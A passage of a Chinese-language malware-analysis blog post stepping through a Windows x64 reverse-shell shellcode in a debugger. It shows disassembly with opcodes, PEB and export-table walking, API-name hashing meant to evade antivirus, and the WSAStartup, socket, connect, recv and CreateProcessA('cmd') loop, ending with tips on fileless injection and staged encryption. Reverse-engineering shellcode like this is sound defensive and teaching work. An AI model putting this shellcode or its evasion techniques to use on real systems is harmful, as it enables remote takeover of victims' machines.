2.4.1.2 位置无关代码
00007FFD0C4E8A38 | E2 ED | loop 0x7FFD0C4E8A27
E2是loop rel8的opcode。ED是一个带符号的 8 位立即数,十六进制 0xED = 有符号的 -19(十进制)。这条指令的长度是 2 字节,所以它实际上是:
target = RIP_after(loop) + signed_offset
= (current_IP + 2) + (-19)
当前指令地址 0x7FFD0C4E8A38,加上指令长度 2 → 0x7FFD0C4E8A3A,再加-19 → 0x7FFD0C4E8A27,刚好回到loop开头那条xor rax,rax (00007FFD0C4E8A27)。
2.4.2 手动定位导出表
然后循环取出模块,看看有没有导出表和函数名字,没有就错误处理
抱歉因为这里笔者断点没有设置好导致程序崩了,接下来是第二次运行,内存地址和之前的会有偏差,但是效果不变(位置无关代码)
; 保存模块基址和哈希值
00007FFD0C4E8A3A | 52 | push rdx |
00007FFD0C4E8A3B | 41:51 | push r9 |
; +0x20 是 PEB_LDR_DATA 中的 InMemoryOrderModuleList → 找到下一个模块的LDR_DATA_TABLE_ENTRY。
00007FFD0C4E8A3D | 48:8B52 20 | mov rdx,qword ptr ds:[rdx+20] |
; +0x3C 是 PE 结构中 DOS 头的 e_lfanew,也就是 NT Headers 的偏移。
00007FFD0C4E8A41 | 8B42 3C | mov eax,dword ptr ds:[rdx+3C] |
; rax = rdx + e_lfanew → 得到 IMAGE_NT_HEADERS 的地址
00007FFD0C4E8A44 | 48:01D0 | add rax,rdx |
; 导出表目录的 RVA(地址相对基址的偏移)
00007FFD0C4E8A47 | 8B80 88000000 | mov eax,dword ptr ds:[rax+88] |
; 检查是否存在导出表(是否为 0)
00007FFD0C4E8A4D | 48:85C0 | test rax,rax |
; 如果导出表为 0,跳过 → 模块无导出表(如某些 ntdll 内部模块)
00007FFD0C4E8A50 | 74 67 | je 67h |
; 把导出表的 RVA 转换为 VA(即导出表的真实地址)
00007FFD0C4E8A52 | 48:01D0 | add rax,rdx |
; 保存导出表地址
00007FFD0C4E8A55 | 50 | push rax |
; 读取导出表中的 NumberOfNames 字段 → 有多少个导出函数名
00007FFD0C4E8A56 | 8B48 18 | mov ecx,dword ptr ds:[rax+18] |
; 读取 AddressOfNames 的 RVA → 是一个数组,每项是导出函数名的 RVA
00007FFD0C4E8A59 | 44:8B40 20 | mov r8d,dword ptr ds:[rax+20] |
; 把函数名表 RVA 转换为 VA → r8 = AddressOfNames 数组地址
; 此时 r8 就指向一个函数名列表(如 "connect", "send", "recv")
00007FFD0C4E8A5D | 49:01D0 | add r8,rdx | r8:"ws2_32"
; 如果 ecx == 0 → 没有导出函数名 → 跳过
00007FFD0C4E8A60 | E3 56 | jrcxz 56h |
; 准备循环每一个函数名
00007FFD0C4E8A62 | 48:FFC9 | dec rcx |
看得出来这是在手动解析导出表
- 从模块基地址出发,解析导出表
- 获取导出函数数量(ecx)
- 获取函数名地址列表(r8)
- 准备进入循环,对比函数名 → 查找目标 API(如 connect、WSAStartup 等)
2.4.2.1 导出表(Export Table)
Windows 可执行文件(PE 文件)中的导出表是用来描述“这个模块(DLL)向外导出了哪些函数/变量”的一张结构表。
导出表的位置一般在:
- 从 PE 文件的 DOS 头偏移
0x3C处获取e_lfanew→ NT Headers 起始位置。 - 在 NT Headers 的
OptionalHeader.DataDirectory[0]中就是导出表(Export Directory)的 RVA 和大小。
2.4.2.1.1 导出表组成
IMAGE_EXPORT_DIRECTORY
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; // 保留,通常为 0
DWORD TimeDateStamp; // 创建时间戳
WORD MajorVersion; // 版本号主版本
WORD MinorVersion; // 版本号次版本
DWORD Name; // 指向 DLL 名称的 RVA
DWORD Base; // 导出函数的起始 ordinal 值(一般为 1)
DWORD NumberOfFunctions; // Export Address Table 中的函数数量
DWORD NumberOfNames; // 有名字的函数个数(小于或等于上面的)
DWORD AddressOfFunctions; // RVA,函数地址表(Export Address Table)
DWORD AddressOfNames; // RVA,函数名表(Function Name Table)
DWORD AddressOfNameOrdinals; // RVA,函数名对应的 ordinal 索引(Function Ordinal Table)
} IMAGE_EXPORT_DIRECTORY;
- 函数名和地址数组
AddressOfFunctions:是个DWORD数组,长度为NumberOfFunctions,每个元素是函数的 RVA。AddressOfNames:是个DWORD数组,长度为NumberOfNames,每个元素是函数名的 RVA。AddressOfNameOrdinals:是个WORD数组,长度为NumberOfNames,每个元素是函数在 AddressOfFunctions 中的索引。
2.4.2.1.2 查找函数名步骤
想找某个函数(如 connect)的地址,流程如下:
- 通过导出表的
AddressOfNames遍历每个函数名。 - 将函数名对应的索引,通过
AddressOfNameOrdinals查出其 ordinal 索引。 - 用 ordinal 索引查
AddressOfFunctions,得到函数地址的 RVA。 - 用模块基址 + 函数 RVA → 得到真正地址。
例子:
比如模块 kernel32.dll,导出函数:
- AddressOfNames[3] = 0x1020 → "GetProcAddress"
- AddressOfNameOrdinals[3] = 5
- AddressOfFunctions[5] = 0x3040
如果模块基址是 0x10000000,那么:
函数地址 = 0x10000000 + 0x3040 = 0x10003040
2.4.2.1.3 加深理解为什么用这么多数组
因为有些函数可能:
- 没有名字(只能按 ordinal 调用)
- 名字和地址的顺序不同
- 提供更快查找(通过 ordinal 快速定位)
2.5 从导出表定位函数
如果一切正常,寄存器如图:

找到函数名称表自然要找函数名
00007FFCCBE278D0 | E3 56 | jrcxz 56h |
00007FFCCBE278D2 | 48:FFC9 | dec rcx |
; 取第 rcx 个函数名 RVA
00007FFCCBE278D5 | 41:8B3488 | mov esi,dword ptr ds:[r8+rcx*4] | r8+rcx*4:Feature_PackagedComElevationSupport__private_descriptor+4EF0
; 转为 VA
00007FFCCBE278D9 | 48:01D6 | add rsi,rdx | rsi:L"ntdll.dll"+14
; 清空临时存储器
00007FFCCBE278DC | 4D:31C9 | xor r9,r9 |
00007FFCCBE278DF | 48:31C0 | xor rax,rax |
; 计算哈希
rax:Feature_PackagedComElevationSupport__private_descriptor+38
00007FFCCBE278E2 | AC | lodsb |
00007FFCCBE278E3 | 41:C1C9 0D | ror r9d,D |
00007FFCCBE278E7 | 41:01C1 | add r9d,eax |
; 比对哈希(存于 AH)
00007FFCCBE278EA | 38E0 | cmp al,ah |
; 若不相等,继续循环
00007FFCCBE278EC | 75 F1 | jne F1h |
; 模块基址加入哈希中,做一个“加盐”处理
00007FFCCBE278EE | 4C:034C24 08 | add r9,qword ptr ss:[rsp+8] |
; 如果匹配,说明找到了想要的 API 名。
00007FFCCBE278F3 | 45:39D1 | cmp r9d,r10d |
; 如果哈希不等,跳回,处理下一个函数名。
00007FFCCBE278F6 | 75 D8 | jne D8h |
找到和哈希相等的函数名(避免在shellcode直接编码函数名被杀)

期间观察RSI,看到函数名一个个闪过

直到这个时候停下来了,要寻找的是LoadLibraryExA
2.5.1 什么是LoadLibraryExA
LoadLibraryExA函数的主要作用是:
将一个DLL(动态链接库)加载到当前进程的地址空间中,并返回该模块的句柄(HMODULE),供后续使用,比如调用其中的函数或读取资源。
LoadLibraryExA是LoadLibraryA的超集,提供了更多控制加载行为的能力
| 需求 | LoadLibraryA |
LoadLibraryExA |
|---|---|---|
| 加载 DLL 并调用函数 | ✅ 支持 | ✅ 支持 |
| 从特定目录加载 DLL | ❌ 不支持 | ✅ LOAD_LIBRARY_SEARCH_* flags |
| 只加载资源,不执行代码 | ❌ 不支持 | ✅ LOAD_LIBRARY_AS_IMAGE_RESOURCE |
| 仅当作数据文件加载 | ❌ 不支持 | ✅ LOAD_LIBRARY_AS_DATAFILE |
HMODULE LoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);
- lpLibFileName: DLL 文件名(ANSI 字符串,如 "user32.dll")
- hFile: 一般为 NULL
- dwFlags: 控制加载行为,常为 0
- 返回值是 DLL 的模块基址(句柄),如果失败则返回 NULL。
2.6 找到一个函数真实地址
这里找到了LoadLibraryExA,可以动态加载dll了,接下来就是
; 拿到函数地址
00007FFCCBE278F8 | 58 | pop rax |
; 取出函数序号表的RVA
00007FFCCBE278F9 | 44:8B40 24 | mov r8d,dword ptr ds:[rax+24] |
; 把上一步获得的 RVA 加上模块基地址 rdx,就得到了导出表中 AddressOfNameOrdinals 的 实际地址
00007FFCCBE278FD | 49:01D0 | add r8,rdx |
; 从 AddressOfNameOrdinals 中,根据索引 rcx 取出第 rcx 项的 序号(Ordinal)。
00007FFCCBE27900 | 6641:8B0C48 | mov cx,word ptr ds:[r8+rcx*2] | r8+rcx*2:__NULL_DELAY_IMPORT_DESCRIPTOR+2732
; 获取 IMAGE_EXPORT_DIRECTORY::AddressOfFunctions,这是函数地址表的 RVA。
00007FFCCBE27905 | 44:8B40 1C | mov r8d,dword ptr ds:[rax+1C] |
; 将函数地址表的 RVA 转为实际地址。
00007FFCCBE27909 | 49:01D0 | add r8,rdx |
; 根据前面得到的 Ordinal rcx,查找 AddressOfFunctions[Ordinal] → 得到函数的 RVA,并存入 e
00007FFCCBE2790C | 41:8B0488 | mov eax,dword ptr ds:[r8+rcx*4] | r8+rcx*4:__NULL_DELAY_IMPORT_DESCRIPTOR+2F18
; 把函数 RVA 加上模块基地址,最终就得到了函数的实际地址。
00007FFCCBE27910 | 48:01D0 | add rax,rdx |
具体寻找过程参考前文,这里只给出结构体
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // DWORD RVA[NumberOfFunctions]
DWORD AddressOfNames; // DWORD RVA[NumberOfNames]
DWORD AddressOfNameOrdinals; // WORD Ordinal[NumberOfNames]
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
2.7 调用api
上来先是一顿pop恢复寄存器
00007FFCCBE27913 | 41:58 | pop r8 |
00007FFCCBE27915 | 41:58 | pop r8 |
00007FFCCBE27917 | 5E | pop rsi | rsi:"LoadLibraryExA"
00007FFCCBE27918 | 59 | pop rcx |
00007FFCCBE27919 | 5A | pop rdx |
00007FFCCBE2791A | 41:58 | pop r8 |
00007FFCCBE2791C | 41:59 | pop r9 |
00007FFCCBE2791E | 41:5A | pop r10 |

接下来:
; 调整栈空间
00007FFCCBE27920 | 48:83EC 20 | sub rsp,20 |
; 压入r10
00007FFCCBE27924 | 41:52 | push r10 | r10:L"襌棪ā"
00007FFCCBE27926 | FFE0 | jmp rax | rax:LoadLibraryAStub
2.7.1 为什么要压入R10?
注意最刚刚pop了一堆东西,根据栈先进后出的特性,我们找找是什么时候压下去的r10


有意思的来了,首先最开始
00007FFCCBE2786F | E8 C0000000 | call C0h |
栈上00007FFCCBE27874

这个很快就pop掉了,然后又是一次call,也就是说,现在被pop r10 的,正是call rbp的下一条指令00007FFCCBE27968(位置无关,现场生成)

接下来,根据win32调用约定,手动把“返回地址”压入栈顶,跳转到rax(导出表 RVA 真实地址)调用系统api(参数rsi => &"ws2_32"),然后返回到指定的位置上
2.7.2 命令分支
下面是一些失败逻辑,就是去重试获取下一个导出表
; 7.1 没有导出函数名,失败逻辑跳转到这,进行重试
00007FFCCBE27928 | 58 | pop rax | rax:LoadLibraryAStub
; 7.2 无导出表,失败逻辑跳转到这,进行重试
00007FFCCBE27929 | 41:59 | pop r9 | r9:UiaNodeFromProvider+22980
00007FFCCBE2792B | 5A | pop rdx |
00007FFCCBE2792C | 48:8B12 | mov rdx,qword ptr ds:[rdx] |
00007FFCCBE2792F | E9 57FFFFFF | jmp 57FFFFFFh |
2.8 调用模块
不用关心dll做了什么,我们就像调用函数一样调用完来到这里(或者反过来讲,正常调用函数就是刚刚的行为罢了)

获得了运行的句柄,接下来就是:
2.8.1 调用 WSAStartup
它是初始化 Winsock(Windows Socket API)的一部分,在使用任何网络功能前都必须先调用它。
int WSAStartup(
WORD wVersionRequested, // rcx
LPWSADATA lpWSAData // rdx
);
| 寄存器 | 参数 / 功能 |
|---|---|
rcx |
0x0101(Winsock 版本) |
rdx |
&wsaData |
r10d |
WSAStartup 的哈希值 |
rbp |
之前查表获取的 WSAStartup 函数地址 |
; ———————— 9 准备参数 & 调用 WSAStartup ————————
00007FFCCBE27968 | 4C:89EA | mov rdx,r13 | ;参数2 → 指向 WSAData 结构的地址
00007FFCCBE2796B | 68 01010000 | push 101 |; 将 0x101(即 MAKEWORD(1,1))压栈
00007FFCCBE27970 | 59 | pop rcx |; 将 0x101 弹出赋值给 rcx(第一个参数)
00007FFCCBE27971 | 41:BA 29806B00 | mov r10d,6B8029 |; 函数哈希值
00007FFCCBE27977 | FFD5 | call rbp | ; 调用函数指针rbp:WindowPattern_WaitForInputIdle+A1B94
r13是在这里分配的

2.8.2 创建套接字 socket
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
| 参数位置 | 参数含义 | 寄存器 |
|---|---|---|
| 第1参数 | af | rcx |
| 第2参数 | type | rdx |
| 第3参数 | protocol | r8 |
| 所得寄存器 | 含义 | 实际数值 |
|---|---|---|
rcx |
af | 2 (AF_INET) |
rdx |
type | 1 (SOCK_STREAM) |
r8 |
protocol | 0 (IPPROTO_TCP) |
; ———————— 10 创建套接字 socket(AF_INET, SOCK_STREAM,
; 平衡栈 + 占位
00007FFCCBE27979 | 50 | push rax |
00007FFCCBE2797A | 50 | push rax |
; 清理环境
00007FFCCBE2797B | 4D:31C9 | xor r9,r9 |
; 设置 protocol = IPPROTO_TCP = 0
00007FFCCBE2797E | 4D:31C0 | xor r8,r8 |
; 设置 AF_INET 的值准备给 rdx
00007FFCCBE27981 | 48:FFC0 | inc rax |
; rdx = 1 → type = SOCK_STREAM
00007FFCCBE27984 | 48:89C2 | mov rdx,rax |
; rcx = 2 → af = AF_INET
00007FFCCBE27987 | 48:FFC0 | inc rax |
00007FFCCBE2798A | 48:89C1 | mov rcx,rax |
; 函数哈希
00007FFCCBE2798D | 41:BA EA0FDFE0 | mov r10d,E0DF0FEA |
; 调用
00007FFCCBE27993 | FFD5 | call rbp | rbp:WindowPattern_WaitForInputIdle+A1B94
2.8.3 连接到远程主机 connect
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
| 参数 | 值 | 说明 |
|---|---|---|
RCX |
rdi |
socket |
RDX |
r12 |
struct sockaddr_in* |
R8 |
0x10 |
sizeof(sockaddr_in) |
R10D |
0x6174A599 |
connect 的哈希(用于动态解析) |
CALL RBP |
执行调用 connect 函数 |
; 参数1 socket
00007FFCCBE27995 | 48:89C7 | mov rdi,rax | rdi:UiaNodeFromProvider+22980
; 参数2 add
00007FFCCBE27998 | 6A 10 | push 10 |
00007FFCCBE2799A | 41:58 | pop r8 |
; 参数3 struct sockaddr_in*
00007FFCCBE2799C | 4C:89E2 | mov rdx,r12 |
; 套接字句柄,保存在 rdi 中(是上一步 socket() 的返回值)
00007FFCCBE2799F | 48:89F9 | mov rcx,rdi | rdi:UiaNodeFromProvider+22980
; 功能号哈希
00007FFCCBE279A2 | 41:BA 99A57461 | mov r10d,6174A599 |
; 调用
00007FFCCBE279A8 | FFD5 | call rbp | rbp:WindowPattern_WaitForInputIdle+A1B94
2.9 循环
不断从网络socket (sock)上recv(),然后用CreateProcessA("cmd", buffer, …)执行命令,再根据返回值决定是否继续循环。下面把它拆成几个逻辑块来讲:
2.9.1 栈空间准备
00007FFCCBE279AA | 48:81C4 40020000 | add rsp,240 |
- 为命令缓冲区、临时空间等一次性在栈上预留 0x240 (576) 字节。
- 之后所有对
rsp的偏移,都是在这块空间里面进行的。
2.9.2 构造 "cmd\0" 字符串
; 构造cmd\0(小端序)
00007FFCCBE279B1 | 49:B8 636D640000000000 | mov r8,646D63 |
; 获得地址
00007FFCCBE279BB | 41:50 | push r8 |
; 再次 push 以供 lpApplicationName
00007FFCCBE279BD | 41:50 | push r8 |
; 获取地址
00007FFCCBE279BF | 48:89E2 | mov rdx,rsp |
- 把
"cmd\0"的 32-bit 常量加载到r8,然后两次push。 rsp此时指向第二个"cmd\0"副本,把它的地址放到rdx(将在后面做CreateProcessA的第 2 或第 3 参数用)。
2.9.3 为 CreateProcessA 的其它参数占位
; hProcess (占位)
00007FFCCBE279C2 | 57 | push rdi | rdi:UiaNodeFromProvider+22980
00007FFCCBE279C3 | 57 | push rdi | rdi:UiaNodeFromProvider+22980
; lpProcessAttributes
00007FFCCBE279C4 | 57 | push rdi | rdi:UiaNodeFromProvider+22980
; r8 = lpThreadAttributes = NULL
00007FFCCBE279C5 | 4D:31C0 | xor r8,r8 |
; dwCreationFlags = 0xD(这里先占一个常量)
00007FFCCBE279C8 | 6A 0D | push D |
; RCX = 0xD → CreateProcessA 第一个参数
00007FFCCBE279CA | 59 | pop rcx |
00007FFCCBE279CB | 41:50 | push r8 |
; 反复 `lodsb` 循环清零命令行缓冲区
00007FFCCBE279CD | E2 FC | loop FCh |
- 这些
push/xor/pop主要是给CreateProcessA六七个参数留出空间,真实填写将在后面。 loop指令通常是配合rcx和rsi清零缓冲区:将栈上的命令缓冲区全部设为0。
2.9.4 写入命令缓冲区
; dwCreationFlags 二次写入
00007FFCCBE279CF | 66:C74424 54 0101 | mov word ptr ss:[rsp+54],101 |
; RAX = 命令缓冲区(offset 0x18)
00007FFCCBE279D6 | 48:8D4424 18 | lea rax,qword ptr ss:[rsp+18] | [rsp+18]:L"襌棪ā"
; 写字符 'h'
00007FFCCBE279DB | C600 68 | mov byte ptr ds:[rax],68 | 68:'h'
; RSI = 栈顶,指向 lpCommandLine 起始
00007FFCCBE279DE | 48:89E6 | mov rsi,rsp |
; 参数 lpCommandLine
00007FFCCBE279E1 | 56 | push rsi |
; 参数 lpApplicationName (这里是 "h"+buffer 开头)
00007FFCCBE279E2 | 50 | push rax |
; bInheritHandles = NULL
00007FFCCBE279E3 | 41:50 | push r8 |
; lpThreadAttributes = NULL
00007FFCCBE279E5 | 41:50 | push r8 |
; lpProcessAttributes = NULL
00007FFCCBE279E7 | 41:50 | push r8 |
; 修改 r8 以给下一次用
00007FFCCBE279E9 | 49:FFC0 | inc r8 |
; dwCreationFlags 或第几个参数
00007FFCCBE279EC | 41:50 | push r8 |
00007FFCCBE279EE | 49:FFC8 | dec r8 |
; R9 = size
00007FFCCBE279F1 | 4D:89C1 | mov r9,r8 |
; RCX = size (socket buffer 大小)
00007FFCCBE279F4 | 4C:89C1 | mov rcx,r8 |
- 这部分在往你之前
add rsp,0x240分配的栈区里写入命令字节(先写一个'h',后面还会写其它字节)。 - 通过一系列
push将后面要调用recv(sock, buffer, len, flags)的参数压栈/置寄存器。
2.9.5 从 socket recv() 命令
; 哈希 → recv()
00007FFCCBE279F7 | 41:BA 79CC3F86 | mov r10d,863FCC79 |
; 调用 recv(sock=RCX, buf=RDX, len=R8, flags=R9)
00007FFCCBE279FD | FFD5 | call rbp |
; flags = 0
rbp:WindowPattern_WaitForInputIdle+A1B94
00007FFCCBE279FF | 48:31D2 | xor rdx,rdx |
; RDX = -1 or 0xFFFFFFFF
00007FFCCBE27A02 | 48:FFCA | dec rdx |
; ECX = 接收到的数据长度 (首 4 字节)
00007FFCCBE27A05 | 8B0E | mov ecx,dword ptr ds:[rsi] |
r10d存放recv的哈希,rbp仍是之前解析出的recv函数地址。recv()之后,rax或al会放返回值(收到的字节数或错误码)。- 它把
buffer起始的 4 字节当作长度字段,读取到ecx。
2.9.6 调用CreateProcessA启动远程命令
; 哈希
00007FFCCBE27A07 | 41:BA 08871D60 | mov r10d,601D8708 |
; 启动
00007FFCCBE27A0D | FFD5 | call rbp | rbp:WindowPattern_WaitForInputIdle+A1B94
2.9.6 循环结束与清理
; 下一次 recv 大小或标志
00007FFCCBE27A0F | BB F0B5A256 | mov ebx,56A2B5F0 |
; 哈希 → closesocket or WSACleanup
00007FFCCBE27A14 | 41:BA A695BD9D | mov r10d,9DBD95A6 |
; 调用清理函数
00007FFCCBE27A1A | FFD5 | call rbp | rbp:WindowPattern_WaitForInputIdle+A1B94
; 恢复一部分栈
00007FFCCBE27A1C | 48:83C4 28 | add rsp,28 |
; 检查 recv 返回值
00007FFCCBE27A20 | 3C 06 | cmp al,6 |
00007FFCCBE27A22 | 7C 0A | jl 0Ah |
; 小于 6 (错误) 则跳出
00007FFCCBE27A24 | 80FB E0 | cmp bl,E0 |
; 根据上面 ebx 判断
00007FFCCBE27A27 | 75 05 | jne 05h |
; 不匹配也跳出
00007FFCCBE27A29 | BB 4713726F | mov ebx,6F721347 |
; 更新循环标志
00007FFCCBE27A2E | 6A 00 | push 0 |
00007FFCCBE27A30 | 59 | pop rcx |
; 准备下一个哈希功能
00007FFCCBE27A31 | 41:89DA | mov r10d,ebx |
; 跳回 dispatcher,重复处理
00007FFCCBE27A34 | FFD5 | call rbp | rbp:WindowPattern_WaitForInputIdle+A1B94
- 先用
ebx/al/bl检查recv或CreateProcessA是否成功,否则退出循环。 - 成功后,把下一个要调用的功能哈希放进
r10d,再call rbp跳回“功能分发器”(dispatcher)入口,进入下一次命令收发→执行循环。
2.9.7 整体逻辑
- 分配栈空间
- 准备
"cmd",清零命令缓冲区 recv()从远程主机读命令(前 4 字节是长度)CreateProcessA("cmd", buffer, …)执行读到的命令- 可选
closesocket/WSACleanup清理 - 循环回到 dispatcher,等待下一条命令
这一整套流程就是一个经典的反向 shell 循环:从网络读取命令并在本地执行,直到出错或被指令退出。
2.9.8 难道说?
对的,我们还可以加入其它的函数,就像正常调用一样,也可以考虑不退出,永远重试。
三、总结
shellcode是位置无关的,你只要给它一块有权限的内存,无论被加载到哪个角落,都可以获取到本身的位置加上lib的位置,然后完成反弹shell。全程没有文件本体,方便附加在其它进程上,加载器用完哪怕被杀也没事。
还有更加花的玩法,比方说用时候加载,不用了立刻加密回去,就是在每个大功能前加上加密上一个+解密下一个的代码,这里分析的是最基础的,之后会分析这种动态加载的。(啊啊啊啊啊,又双叒叕挖坑了)>﹏<

浙公网安备 33010602011771号